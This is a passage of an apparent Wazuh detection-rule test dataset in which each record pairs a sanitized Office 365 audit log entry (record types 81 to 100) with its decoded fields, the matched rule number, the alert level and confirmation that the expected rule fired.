"office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91605", "level": "7", "expected_decoder": "json", "expected_rule": "91605", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 WDATPAlerts"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MDATPAudit\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"81\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "81", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MDATPAudit"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91606", "level": "5", "expected_decoder": "json", "expected_rule": "91606", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MDATPAudit"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SensitivityLabelPolicyMatch\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"82\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "82", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SensitivityLabelPolicyMatch"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91607", "level": "5", "expected_decoder": "json", "expected_rule": "91607", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SensitivityLabelPolicyMatch"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SensitivityLabelAction\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"83\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "83", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SensitivityLabelAction"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91608", "level": "5", "expected_decoder": "json", "expected_rule": "91608", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SensitivityLabelAction"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SensitivityLabeledFileAction\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"84\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "84", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SensitivityLabeledFileAction"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91609", "level": "5", "expected_decoder": "json", "expected_rule": "91609", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SensitivityLabeledFileAction"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AttackSim\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"85\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "85", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AttackSim"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91610", "level": "3", "expected_decoder": "json", "expected_rule": "91610", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AttackSim"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AirManualInvestigation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"86\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "86", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AirManualInvestigation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91611", "level": "5", "expected_decoder": "json", "expected_rule": "91611", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AirManualInvestigation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SecurityComplianceRBAC\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"87\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "87", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SecurityComplianceRBAC"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91612", "level": "5", "expected_decoder": "json", "expected_rule": "91612", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SecurityComplianceRBAC"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"UserTraining\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"88\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "88", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "UserTraining"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91613", "level": "3", "expected_decoder": "json", "expected_rule": "91613", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 UserTraining"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AirAdminActionInvestigation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"89\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "89", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AirAdminActionInvestigation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91614", "level": "5", "expected_decoder": "json", "expected_rule": "91614", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AirAdminActionInvestigation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MSTIC\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"90\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "90", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MSTIC"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91615", "level": "7", "expected_decoder": "json", "expected_rule": "91615", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MSTIC"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"PhysicalBadgingSignal\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"91\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "91", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "PhysicalBadgingSignal"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91616", "level": "3", "expected_decoder": "json", "expected_rule": "91616", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 PhysicalBadgingSignal"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AipDiscover\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"93\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "93", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AipDiscover"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91617", "level": "5", "expected_decoder": "json", "expected_rule": "91617", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AipDiscover"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AipSensitivityLabelAction\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"94\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "94", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AipSensitivityLabelAction"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91618", "level": "5", "expected_decoder": "json", "expected_rule": "91618", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AipSensitivityLabelAction"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AipProtectionAction\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"95\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "95", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AipProtectionAction"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91619", "level": "5", "expected_decoder": "json", "expected_rule": "91619", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AipProtectionAction"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AipFileDeleted\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"96\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "96", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AipFileDeleted"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91620", "level": "5", "expected_decoder": "json", "expected_rule": "91620", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AipFileDeleted"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AipHeartBeat\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"97\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "97", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AipHeartBeat"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91621", "level": "3", "expected_decoder": "json", "expected_rule": "91621", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AipHeartBeat"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"MCASAlerts\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"98\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "98", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "MCASAlerts"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91622", "level": "7", "expected_decoder": "json", "expected_rule": "91622", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 MCASAlerts"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"OnPremisesFileShareScannerDlp\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"99\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "99", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "OnPremisesFileShareScannerDlp"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91623", "level": "5", "expected_decoder": "json", "expected_rule": "91623", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 OnPremisesFileShareScannerDlp"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"OnPremisesSharePointScannerDlp\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"100\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "100", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "OnPremisesSharePointScannerDlp"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", 